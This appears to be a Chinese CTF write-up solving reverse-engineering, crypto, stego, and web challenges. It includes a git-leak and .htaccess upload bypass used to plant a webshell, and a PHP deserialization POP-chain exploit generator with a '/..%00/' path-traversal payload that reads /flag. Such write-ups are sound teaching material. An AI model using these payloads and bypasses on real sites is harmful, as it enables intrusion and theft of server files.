patch掉阶段一的花指令后,发现程序中存在大量int 3调试中断指令,又有位于0x140001320的调试中断事件处理函数,如下图所示:
阶段一和阶段二的patch脚本如下:
from keystone import *
ks = Ks(KS_ARCH_X86,KS_MODE_64)
def patch1(start, end):
size = end - start
start -= 0xc00
end -= 0xc00
tmp = bytearray(raw)
for i in range(start, end):
if tmp[i:i+5] == b'\x50\x48\x31\xc0\x74':
tmp[i+4] = 0xeb
jmp_size = tmp[i+5]
tmp[i+6:i+6+jmp_size] = b'\x90'*jmp_size
with open('junk-new1.exe','wb') as f:
f.write(tmp)
def patch2(start, end):
size = end - start
start -= 0xc00
end -= 0xc00
tmp = bytearray(raw)
for i in range(start, end):
if i in (0x41e, 0x41f, 0xcd2):
continue
if 0x572 <= i < 0x580 or 0x71d <= i < 0x720 or 0xd4c <= i < 0xd50 or 0xe45 <= i < 0xe50 or 0xe9b <= i < 0xea0:
continue
if tmp[i] != 0xcc:
continue
choice = tmp[i+1]
if choice == 1:
ins_len = 4
delta = tmp[i+3]
sign = tmp[i+2]
if sign == 3:
ins = f'sub rsp, {delta:#x}'
elif sign == 2:
ins = f'add rsp, {delta:#x}'
else:
print('Sign error!')
assert 0
elif choice == 4:
ins = 'mov rcx, rsi'
ins_len = 3
elif choice == 5:
ins = 'cmp rax, 0x2a'
ins_len = 4
elif choice == 6:
ins = 'mov rdx, rsi'
ins_len = 3
elif choice == 8:
ins = 'mov edx, 0x9E3779B9'
ins_len = 5
elif choice == 9:
ins = 'mov r11d, 32'
ins_len = 6
elif choice == 10:
ins = 'mov eax, esi'
ins_len = 2
elif choice == 11:
ins = 'mov ebx, eax'
ins_len = 2
elif choice == 12:
ins = 'xor ebx, esi'
ins_len = 2
elif choice == 13:
ins = 'add ebx, 45'
ins_len = 3
elif choice == 14:
ins = 'xor ebx, edi'
ins_len = 2
elif choice == 15:
ins = 'add ecx, ebx'
ins_len = 2
elif choice == 16:
ins = 'mov esi, ecx'
ins_len = 2
elif choice == 17:
ins = 'add esi, 67'
ins_len = 3
elif choice == 18:
ins = 'xor edi, esi'
ins_len = 2
elif choice == 19:
ins = 'add esi, 86'
ins_len = 3
elif choice == 20:
ins = 'xor esi, edi'
ins_len = 2
elif choice == 29:
ins = 'call 0x140001950; push rax'
tmp[i:i+6] = ks.asm(ins, 0x1400010B8)[0]
elif choice == 30:
tmp[i:i+2] = ks.asm('jmp 0x140001106', 0x1400010F0)[0]
tmp[0x506:0x506+7] = ks.asm('call 0x140001a50;jmp 0x1400010F2', 0x140001106)[0]
else:
print(f'{i+0x140000c00:#x}: unknown {choice}')
assert 0
if choice not in (29, 30):
tmp[i:i+ins_len] = ks.asm(ins)[0]
with open('junk-new2.exe','wb') as f:
f.write(tmp)
with open('./junk.exe', 'rb') as f:
raw = f.read()
patch1(0x1000, 0x1aa0)
with open('./junk-new1.exe', 'rb') as f:
raw = f.read()
patch2(0x1000, 0x1aa0)
其中enc1函数为TEA加密
enc2函数为逐字节循环左移5位
from struct import pack, unpack
from ctypes import *
ans = [ 0xF2, 0x7F, 0x09, 0x05, 0xD7, 0x77, 0x16, 0x91, 0x25, 0x01,
0x2E, 0xC5, 0x97, 0x26, 0x63, 0x82, 0x01, 0x40, 0x15, 0x2D,
0xFC, 0x53, 0xDB, 0xD3, 0xC4, 0xDB, 0x0A, 0x1F, 0x82, 0x1E,
0x99, 0x4E, 0xFE, 0x0C, 0x80, 0xB8, 0xA5, 0x61, 0x0E, 0x99,
0xDF, 0x39]
def dec1(data):
for i in range(len(data)):
data[i] = (data[i] >> 5) | ((data[i] << 3) & 0xff)
def dec2(data):
for i in range(len(data)):
data[i] ^= 0x66
data[i] -= 50
data[i] &= 0xff
def dec3(data):
data = bytearray(data)
k = [12, 45, 67, 86]
for i in range(0, 40, 8):
v0, v1 = unpack('II', data[i:i+8])
v0 = c_uint32(v0)
v1 = c_uint32(v1)
delta = 0x9E3779B9
total = c_uint32(delta*32)
for j in range(32):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k[1])
total.value -= delta
data[i:i+8] = pack('II', v0.value, v1.value)
return data
if __name__ == '__main__':
data = ans
dec1(data)
dec2(data)
flag = dec3(data)
print(flag)
0x2 simple math
脚本如下:
from Crypto.Util.number import *
import hashlib
from gmpy2 import *
c1 = 85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687
c2 = 104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144
c3 = 94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330
x = 78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765
y = 100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029
z = 104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452
e=2022
tmp1 = pow(x-e,e)-c1
tmp2 = pow(y-e,e)-c2
m = gcd(tmp1,tmp2)
print(m)
tmp3 = (x-e) % m
for i in range(1000):
m1 = tmp3 + i*m
if c1 == pow(m+m1,e,m*m1):
print (m1)
break
tmp4 = (y-e) % m
for i in range(1000):
m2=tmp4+i*m
if c2 == pow(m+m2,e,m*m2):
print(m2)
break
flag = m + m1 + m2
flag = hashlib.md5(str(flag).encode('utf-8')).hexdigest()
print(flag)
0x3 easywork
根据https://blog.csdn.net/superprintf/article/details/108964563博客中的方法中求解a、b、n。
from math import gcd
from gmpy2 import invert
x = [150532854791355748039117763516755705063,
335246949167877025932432065299887980427,
186623163520020374273300614035532913241,
215621842477244010690624570814660992556,
220694532805562822940506614120520015819,
17868778653481346517880312348382129728,
160572327041397126918110376968541265339]
t = [x[i+1] - x[i] for i in range(len(x)-1)]
def f(i):
return t[i]*t[i+2]-t[i+1]*t[i+1]
p = gcd(f(0), f(1))
print('p=',p)
a = invert(x[1]-x[0], p)
a = a * (x[2]-x[1]) % p
print('a=',a)
b = (x[1] - x[0] * a) % p
print('b=',b)
#p= 339088189917874808463944743121467561531
#a= 259086495324961642923203668736965982268
#b= 121870392737324465817476070178603827899
p= 339088189917874808463944743121467561531
a= 259086495324961642923203668736965982268
b= 121870392737324465817476070178603827899
c = 114514
e= int(2e8)
m = 10**10000
e1 = (a*c)/(b-c)
e2 = p/(b-1)
def f(n):
t1 = RR(pow(b, n, m).lift())
t2 = RR(pow(c, n, m).lift())
return t1*(1+e1+e2)-e1*t2-e2
print(f(e))
最后将f(e)带入sol后算出md5,与加密结果异或得到flag
有.git路径,所以有git泄露,拖源码
代码审计发现上传路径
上传后,由时间戳重命名
发现有后缀过滤
但htaccess过滤有问题,只过滤了.htaccess后缀的,所以可以上传.htaccess文件,且同时需要跟木马文件同一时间上传
成功解析
哥斯拉连上,读取flag
爆破密码得到密码99114514
发现password,7EqufFnrSGk=
base64解密得,EC4AAE7C59EB4869
尝试解MD5得,nmy0612
得到flag文件
爆破编码得flag,flag{d2112923-78d6-4064-977c-b73297dc4491}
文件名字tHXcode (后面才知道是汉信码)
Hxd打开文件 发现有PNG的特征 把它补全
打开来是二维码
扫描二维码 转到油管视频 翻了一下好像没有意义 https://www.youtube.com/watch?v=l3N9fPIT4yw
用stegsolve发现通道RGB 0 1通道有大概噪点
把噪点提取出来
import cv2
import cv2 as cv
import numpy as np
import os
pic = cv2.imread("D:\\tmp\\tHXcode.png")
c1,c2,c3 = pic.shape
blank_image = np.zeros((348,348,3), np.uint8)
for i in range(c1):
for j in range(c2):
for k in range(c3):
if pic[i,j,k] == 0 or pic[i,j,k] == 255:
blank_image[i,j,k] = 0
else:
blank_image[i, j, k] = 255
cv2.imwrite('new.png',blank_image)
cv2.imshow('canvas',blank_image)
cv2.waitKey(0)
cv2.destroyAllWindows()
跑出来这样
长得像二维码少了定位标志 但又不太对 发现是汉信码
找个画格子网站https://www.pixilart.com/draw?ref=home-page 画出来
读取得到flag flag{ae0f3bce-814b-4928-9801-7a2f2ca88273}
伪加密,改09为00
得到图片
Stegsolve看一下,最后一个通道前面都是0和1
发现有108900个0或1
发现330*330=108900,尝试以1为黑,0为白,画图
import cv2
import cv2 as cv
import numpy as np
f = open("123.txt",encoding = "utf-8")
blank_image = np.zeros((330,330,3), np.uint8)
a = f.read()
aa = 0
for i in a:
x = aa//330
y = aa%330
if i == '0':
blank_image[x, y, 1] = 0
else:
blank_image[x, y, 0] = 255
blank_image[x, y, 1] = 255
blank_image[x, y, 2] = 255
aa += 1
cv2.imwrite('new.png',blank_image)
cv2.imshow('canvas',blank_image)
cv2.waitKey(0)
cv2.destroyAllWindows()
像是拼接的二维码,拼接一下
扫码得flag
反序列化要触发readfile函数读取flag,要找能够执行函数调用Onemore类的readfile方法,在suhasuha类的__set方法中($this->action)()存在函数调用点,因此要想办法触发__set魔术方法。在abaaba类中_get方法里存在$this->DoNotGet->$name = "two"的set链,因此需要将$this->DoNotGet设为suhashuha类,这样触发__get方法后尝试给suhasuha中的name参数赋值,触发suhasuha类中的__set方法。
接下来的问题是,如何触发abaaba类的__get魔术方法,在abaaba类中本身存在的__toString魔术方法中存在get操作,可以触发__get魔术方法,接着考虑如何触发abaaba类的__toString魔术方法,往下看在One类中的__destruct方法中可以将$count参数当字符串使用,此处将abaaba类实例传入$count参数即可触发__toString魔术方法,综上,正向调用链为首先初始化一个abaaba类将suhasuha类赋给DoNotGet参数,再利用One->__toString->abaaba->__toString->abaaba->__get->suhasuha->__set->Onemore->readfile。
safe过滤函数过滤了/../../和其转义变形,用%00绕过即可。
<?php
class abaaba{
protected $DoNotGet;
public function __construct($s){
echo '1';
$this->DoNotGet = $s;
}
public function __get($name){
echo '2';
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
echo '3';
return $this->Giveme;
}
}
class Onemore{
public $file;
public function readfile($f){
echo '4';
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
echo '5';
return $this->filename->Giveme;
}
}
class suhasuha{
public $action;
public function __set($name, $value){
echo '6';
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
echo '7';
$this->count = "one";
}
public function __destruct(){
echo '8';
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
$a = new One();
$b = new suhasuha();
$c = new Onemore();
$d = new abaaba($b);
$a->count = $d;
$b->action = [$c,"readfile"];
$c->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");
echo urlencode(serialize($a));
?>